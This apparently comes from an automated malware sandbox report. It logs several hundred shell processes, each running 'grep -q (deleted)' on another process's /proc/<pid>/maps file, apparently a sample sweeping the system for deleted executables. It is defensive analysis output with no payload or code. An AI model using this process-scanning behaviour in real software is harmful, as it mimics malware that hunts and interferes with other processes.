Source: /bin/sh (PID: 6258)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/108/maps	Jump to behavior
Source: /bin/sh (PID: 6259)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/109/maps	Jump to behavior
Source: /bin/sh (PID: 6262)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/11/maps	Jump to behavior
Source: /bin/sh (PID: 6263)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/110/maps	Jump to behavior
Source: /bin/sh (PID: 6264)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/111/maps	Jump to behavior
Source: /bin/sh (PID: 6265)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/112/maps	Jump to behavior
Source: /bin/sh (PID: 6266)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/113/maps	Jump to behavior
Source: /bin/sh (PID: 6267)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/114/maps	Jump to behavior
Source: /bin/sh (PID: 6268)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/115/maps	Jump to behavior
Source: /bin/sh (PID: 6269)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/116/maps	Jump to behavior
Source: /bin/sh (PID: 6270)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/117/maps	Jump to behavior
Source: /bin/sh (PID: 6271)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/118/maps	Jump to behavior
Source: /bin/sh (PID: 6272)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/119/maps	Jump to behavior
Source: /bin/sh (PID: 6273)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/12/maps	Jump to behavior
Source: /bin/sh (PID: 6274)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/120/maps	Jump to behavior
Source: /bin/sh (PID: 6275)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1207/maps	Jump to behavior
Source: /bin/sh (PID: 6276)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/121/maps	Jump to behavior
Source: /bin/sh (PID: 6277)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/122/maps	Jump to behavior
Source: /bin/sh (PID: 6278)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/123/maps	Jump to behavior
Source: /bin/sh (PID: 6279)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/124/maps	Jump to behavior
Source: /bin/sh (PID: 6280)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/125/maps	Jump to behavior
Source: /bin/sh (PID: 6281)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/126/maps	Jump to behavior
Source: /bin/sh (PID: 6282)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/127/maps	Jump to behavior
Source: /bin/sh (PID: 6283)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/128/maps	Jump to behavior
Source: /bin/sh (PID: 6284)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/13/maps	Jump to behavior
Source: /bin/sh (PID: 6285)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/130/maps	Jump to behavior
Source: /bin/sh (PID: 6286)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/132/maps	Jump to behavior
Source: /bin/sh (PID: 6287)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1320/maps	Jump to behavior
Source: /bin/sh (PID: 6288)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1334/maps	Jump to behavior
Source: /bin/sh (PID: 6289)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1335/maps	Jump to behavior
Source: /bin/sh (PID: 6290)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1344/maps	Jump to behavior
Source: /bin/sh (PID: 6291)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1349/maps	Jump to behavior
Source: /bin/sh (PID: 6292)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1389/maps	Jump to behavior
Source: /bin/sh (PID: 6293)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/14/maps	Jump to behavior
Source: /bin/sh (PID: 6294)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/141/maps	Jump to behavior
Source: /bin/sh (PID: 6295)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/144/maps	Jump to behavior
Source: /bin/sh (PID: 6296)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1463/maps	Jump to behavior
Source: /bin/sh (PID: 6297)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1465/maps	Jump to behavior
Source: /bin/sh (PID: 6298)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1475/maps	Jump to behavior
Source: /bin/sh (PID: 6299)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1476/maps	Jump to behavior
Source: /bin/sh (PID: 6300)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1477/maps	Jump to behavior
Source: /bin/sh (PID: 6301)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1489/maps	Jump to behavior
Source: /bin/sh (PID: 6302)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1494/maps	Jump to behavior
Source: /bin/sh (PID: 6303)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/15/maps	Jump to behavior
Source: /bin/sh (PID: 6304)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1532/maps	Jump to behavior
Source: /bin/sh (PID: 6305)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/157/maps	Jump to behavior
Source: /bin/sh (PID: 6311)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1576/maps	Jump to behavior
Source: /bin/sh (PID: 6313)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1579/maps	Jump to behavior
Source: /bin/sh (PID: 6314)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1582/maps	Jump to behavior
Source: /bin/sh (PID: 6315)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1586/maps	Jump to behavior
Source: /bin/sh (PID: 6316)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1594/maps	Jump to behavior
Source: /bin/sh (PID: 6317)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1599/maps	Jump to behavior
Source: /bin/sh (PID: 6318)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/16/maps	Jump to behavior
Source: /bin/sh (PID: 6319)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1601/maps	Jump to behavior
Source: /bin/sh (PID: 6320)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1612/maps	Jump to behavior
Source: /bin/sh (PID: 6321)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1622/maps	Jump to behavior
Source: /bin/sh (PID: 6322)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1623/maps	Jump to behavior
Source: /bin/sh (PID: 6325)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1627/maps	Jump to behavior
Source: /bin/sh (PID: 6326)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1629/maps	Jump to behavior
Source: /bin/sh (PID: 6327)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1632/maps	Jump to behavior
Source: /bin/sh (PID: 6328)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1633/maps	Jump to behavior
Source: /bin/sh (PID: 6329)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1638/maps	Jump to behavior
Source: /bin/sh (PID: 6330)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1639/maps	Jump to behavior
Source: /bin/sh (PID: 6331)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1642/maps	Jump to behavior
Source: /bin/sh (PID: 6332)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1648/maps	Jump to behavior
Source: /bin/sh (PID: 6334)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1654/maps	Jump to behavior
Source: /bin/sh (PID: 6336)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1656/maps	Jump to behavior
Source: /bin/sh (PID: 6337)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1661/maps	Jump to behavior
Source: /bin/sh (PID: 6338)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1664/maps	Jump to behavior
Source: /bin/sh (PID: 6339)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1668/maps	Jump to behavior
Source: /bin/sh (PID: 6340)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1698/maps	Jump to behavior
Source: /bin/sh (PID: 6341)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1699/maps	Jump to behavior
Source: /bin/sh (PID: 6344)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/17/maps	Jump to behavior
Source: /bin/sh (PID: 6345)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/18/maps	Jump to behavior
Source: /bin/sh (PID: 6346)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1809/maps	Jump to behavior
Source: /bin/sh (PID: 6347)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1860/maps	Jump to behavior
Source: /bin/sh (PID: 6349)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1872/maps	Jump to behavior
Source: /bin/sh (PID: 6353)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1877/maps	Jump to behavior
Source: /bin/sh (PID: 6354)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1886/maps	Jump to behavior
Source: /bin/sh (PID: 6355)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1888/maps	Jump to behavior
Source: /bin/sh (PID: 6359)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1890/maps	Jump to behavior
Source: /bin/sh (PID: 6360)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1900/maps	Jump to behavior
Source: /bin/sh (PID: 6362)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1983/maps	Jump to behavior
Source: /bin/sh (PID: 6363)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2/maps	Jump to behavior
Source: /bin/sh (PID: 6511)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/20/maps	Jump to behavior
Source: /bin/sh (PID: 6512)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2009/maps	Jump to behavior
Source: /bin/sh (PID: 6513)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/201/maps	Jump to behavior
Source: /bin/sh (PID: 6514)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2014/maps	Jump to behavior
Source: /bin/sh (PID: 6525)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2018/maps	Jump to behavior
Source: /bin/sh (PID: 6526)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/202/maps	Jump to behavior
Source: /bin/sh (PID: 6527)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2025/maps	Jump to behavior
Source: /bin/sh (PID: 6528)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2028/maps	Jump to behavior
Source: /bin/sh (PID: 6529)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/203/maps	Jump to behavior
Source: /bin/sh (PID: 6530)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2033/maps	Jump to behavior
Source: /bin/sh (PID: 6531)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2038/maps	Jump to behavior
Source: /bin/sh (PID: 6532)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/204/maps	Jump to behavior
Source: /bin/sh (PID: 6533)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2048/maps	Jump to behavior
Source: /bin/sh (PID: 6534)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/205/maps	Jump to behavior
Source: /bin/sh (PID: 6536)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2050/maps	Jump to behavior
Source: /bin/sh (PID: 6538)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/206/maps	Jump to behavior
Source: /bin/sh (PID: 6543)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2062/maps	Jump to behavior
Source: /bin/sh (PID: 6544)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2063/maps	Jump to behavior
Source: /bin/sh (PID: 6545)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2069/maps	Jump to behavior
Source: /bin/sh (PID: 6550)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/207/maps	Jump to behavior
Source: /bin/sh (PID: 6551)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2074/maps	Jump to behavior
Source: /bin/sh (PID: 6552)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2077/maps	Jump to behavior
Source: /bin/sh (PID: 6554)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2078/maps	Jump to behavior
Source: /bin/sh (PID: 6555)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2079/maps	Jump to behavior
Source: /bin/sh (PID: 6556)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/208/maps	Jump to behavior
Source: /bin/sh (PID: 6559)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2080/maps	Jump to behavior
Source: /bin/sh (PID: 6561)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2083/maps	Jump to behavior
Source: /bin/sh (PID: 6562)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2084/maps	Jump to behavior
Source: /bin/sh (PID: 6566)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/209/maps	Jump to behavior
Source: /bin/sh (PID: 6567)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2096/maps	Jump to behavior
Source: /bin/sh (PID: 6568)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2097/maps	Jump to behavior
Source: /bin/sh (PID: 6571)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/21/maps	Jump to behavior
Source: /bin/sh (PID: 6572)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/210/maps	Jump to behavior
Source: /bin/sh (PID: 6576)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2102/maps	Jump to behavior
Source: /bin/sh (PID: 6577)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/211/maps	Jump to behavior
Source: /bin/sh (PID: 6578)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2114/maps	Jump to behavior
Source: /bin/sh (PID: 6580)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/212/maps	Jump to behavior
Source: /bin/sh (PID: 6581)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2123/maps	Jump to behavior
Source: /bin/sh (PID: 6582)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2126/maps	Jump to behavior
Source: /bin/sh (PID: 6583)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2128/maps	Jump to behavior
Source: /bin/sh (PID: 6584)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2129/maps	Jump to behavior
Source: /bin/sh (PID: 6585)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/213/maps	Jump to behavior
Source: /bin/sh (PID: 6586)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/214/maps	Jump to behavior
Source: /bin/sh (PID: 6587)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2146/maps	Jump to behavior
Source: /bin/sh (PID: 6588)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/215/maps	Jump to behavior
Source: /bin/sh (PID: 6589)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2156/maps	Jump to behavior
Source: /bin/sh (PID: 6590)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/216/maps	Jump to behavior
Source: /bin/sh (PID: 6591)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/217/maps	Jump to behavior
Source: /bin/sh (PID: 6593)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/218/maps	Jump to behavior
Source: /bin/sh (PID: 6594)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2180/maps	Jump to behavior
Source: /bin/sh (PID: 6595)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/219/maps	Jump to behavior
Source: /bin/sh (PID: 6596)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2195/maps	Jump to behavior
Source: /bin/sh (PID: 6598)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/22/maps	Jump to behavior
Source: /bin/sh (PID: 6599)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/220/maps	Jump to behavior
Source: /bin/sh (PID: 6602)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2208/maps	Jump to behavior
Source: /bin/sh (PID: 6623)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/221/maps	Jump to behavior
Source: /bin/sh (PID: 6624)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/222/maps	Jump to behavior
Source: /bin/sh (PID: 6625)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2223/maps	Jump to behavior
Source: /bin/sh (PID: 6626)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2226/maps	Jump to behavior
Source: /bin/sh (PID: 6627)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/223/maps	Jump to behavior
Source: /bin/sh (PID: 6631)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2235/maps	Jump to behavior
Source: /bin/sh (PID: 6632)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/224/maps	Jump to behavior
Source: /bin/sh (PID: 6633)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2242/maps	Jump to behavior
Source: /bin/sh (PID: 6638)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/225/maps	Jump to behavior
Source: /bin/sh (PID: 6641)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/226/maps	Jump to behavior
Source: /bin/sh (PID: 6642)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/227/maps	Jump to behavior
Source: /bin/sh (PID: 6643)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2275/maps	Jump to behavior
Source: /bin/sh (PID: 6646)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/228/maps	Jump to behavior
Source: /bin/sh (PID: 6647)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2281/maps	Jump to behavior
Source: /bin/sh (PID: 6648)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2285/maps	Jump to behavior
Source: /bin/sh (PID: 6650)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2289/maps	Jump to behavior
Source: /bin/sh (PID: 6651)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/229/maps	Jump to behavior
Source: /bin/sh (PID: 6652)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2294/maps	Jump to behavior
Source: /bin/sh (PID: 6654)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/23/maps	Jump to behavior
Source: /bin/sh (PID: 6804)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/230/maps	Jump to behavior
Source: /bin/sh (PID: 6809)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2302/maps	Jump to behavior
Source: /bin/sh (PID: 6810)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2307/maps	Jump to behavior
Source: /bin/sh (PID: 6813)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/231/maps	Jump to behavior
Source: /bin/sh (PID: 6819)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/232/maps	Jump to behavior
Source: /bin/sh (PID: 6826)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/233/maps	Jump to behavior
Source: /bin/sh (PID: 6827)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/234/maps	Jump to behavior
Source: /bin/sh (PID: 6830)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/235/maps	Jump to behavior
Source: /bin/sh (PID: 6835)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/236/maps	Jump to behavior
Source: /bin/sh (PID: 6839)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/237/maps	Jump to behavior
Source: /bin/sh (PID: 6846)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/24/maps	Jump to behavior
Source: /bin/sh (PID: 6852)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/243/maps	Jump to behavior
Source: /bin/sh (PID: 6855)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/248/maps	Jump to behavior
Source: /bin/sh (PID: 6859)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/249/maps	Jump to behavior
Source: /bin/sh (PID: 6888)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/25/maps	Jump to behavior
Source: /bin/sh (PID: 6894)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/250/maps	Jump to behavior
Source: /bin/sh (PID: 6896)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/251/maps	Jump to behavior
Source: /bin/sh (PID: 6897)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/252/maps	Jump to behavior
Source: /bin/sh (PID: 6901)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/253/maps	Jump to behavior
Source: /bin/sh (PID: 6902)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/254/maps	Jump to behavior
Source: /bin/sh (PID: 6904)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/255/maps	Jump to behavior
Source: /bin/sh (PID: 6907)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/256/maps	Jump to behavior
Source: /bin/sh (PID: 6910)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/257/maps	Jump to behavior
Source: /bin/sh (PID: 6912)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/258/maps	Jump to behavior
Source: /bin/sh (PID: 6913)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/259/maps	Jump to behavior
Source: /bin/sh (PID: 6918)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/26/maps	Jump to behavior
Source: /bin/sh (PID: 6934)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/260/maps	Jump to behavior
Source: /bin/sh (PID: 6937)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/261/maps	Jump to behavior
Source: /bin/sh (PID: 6941)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/262/maps	Jump to behavior
Source: /bin/sh (PID: 6942)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/263/maps	Jump to behavior
Source: /bin/sh (PID: 6943)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2637/maps	Jump to behavior
Source: /bin/sh (PID: 6946)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/264/maps	Jump to behavior
Source: /bin/sh (PID: 6948)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/265/maps	Jump to behavior
Source: /bin/sh (PID: 6951)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/266/maps	Jump to behavior
Source: /bin/sh (PID: 6955)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/267/maps	Jump to behavior
Source: /bin/sh (PID: 6956)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/269/maps	Jump to behavior
Source: /bin/sh (PID: 6957)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/27/maps	Jump to behavior
Source: /bin/sh (PID: 6958)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/270/maps	Jump to behavior
Source: /bin/sh (PID: 6959)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/272/maps	Jump to behavior
Source: /bin/sh (PID: 6960)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/274/maps	Jump to behavior
Source: /bin/sh (PID: 6961)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2746/maps	Jump to behavior
Source: /bin/sh (PID: 6962)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2749/maps	Jump to behavior
Source: /bin/sh (PID: 6963)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2761/maps	Jump to behavior
Source: /bin/sh (PID: 6964)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/278/maps	Jump to behavior
Source: /bin/sh (PID: 6967)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/28/maps	Jump to behavior
Source: /bin/sh (PID: 7041)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/281/maps	Jump to behavior
Source: /bin/sh (PID: 7078)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/286/maps	Jump to behavior
Source: /bin/sh (PID: 7079)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2882/maps	Jump to behavior
Source: /bin/sh (PID: 7087)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/29/maps	Jump to behavior
Source: /bin/sh (PID: 7089)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/3/maps	Jump to behavior
Source: /bin/sh (PID: 7091)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/30/maps	Jump to behavior
Source: /bin/sh (PID: 7094)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/3021/maps	Jump to behavior
Source: /bin/sh (PID: 7097)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/3088/maps	Jump to behavior
Source: /bin/sh (PID: 7098)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/322/maps	Jump to behavior
Source: /bin/sh (PID: 7099)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/3236/maps	Jump to behavior
Source: /bin/sh (PID: 7101)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/324/maps	Jump to behavior
Source: /bin/sh (PID: 7108)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/326/maps	Jump to behavior
Source: /bin/sh (PID: 7113)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/327/maps	Jump to behavior
Source: /bin/sh (PID: 7116)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/328/maps	Jump to behavior
Source: /bin/sh (PID: 7117)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/333/maps	Jump to behavior
Source: /bin/sh (PID: 7118)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/346/maps	Jump to behavior
Source: /bin/sh (PID: 7120)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/35/maps	Jump to behavior
Source: /bin/sh (PID: 7122)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/379/maps	Jump to behavior
Source: /bin/sh (PID: 7123)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4/maps	Jump to behavior
Source: /bin/sh (PID: 7124)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/419/maps	Jump to behavior
Source: /bin/sh (PID: 7126)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/420/maps	Jump to behavior
Source: /bin/sh (PID: 7129)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4439/maps	Jump to behavior
Source: /bin/sh (PID: 7154)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4444/maps	Jump to behavior
Source: /bin/sh (PID: 7156)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4445/maps	Jump to behavior
Source: /bin/sh (PID: 7157)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4446/maps	Jump to behavior
Source: /bin/sh (PID: 7160)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4447/maps	Jump to behavior
Source: /bin/sh (PID: 7161)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4493/maps	Jump to behavior
Source: /bin/sh (PID: 7162)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4498/maps	Jump to behavior
Source: /bin/sh (PID: 7164)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4501/maps	Jump to behavior
Source: /bin/sh (PID: 7165)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4503/maps	Jump to behavior
Source: /bin/sh (PID: 7166)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4505/maps	Jump to behavior
Source: /bin/sh (PID: 7167)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4525/maps	Jump to behavior
Source: /bin/sh (PID: 7169)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/491/maps	Jump to behavior
Source: /bin/sh (PID: 7170)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/517/maps	Jump to behavior
Source: /bin/sh (PID: 7171)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6/maps	Jump to behavior
Source: /bin/sh (PID: 7174)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6069/maps	Jump to behavior
Source: /bin/sh (PID: 7175)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6133/maps	Jump to behavior
Source: /bin/sh (PID: 7176)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6185/maps	Jump to behavior
Source: /bin/sh (PID: 7177)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6223/maps	Jump to behavior
Source: /bin/sh (PID: 7178)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6224/maps	Jump to behavior
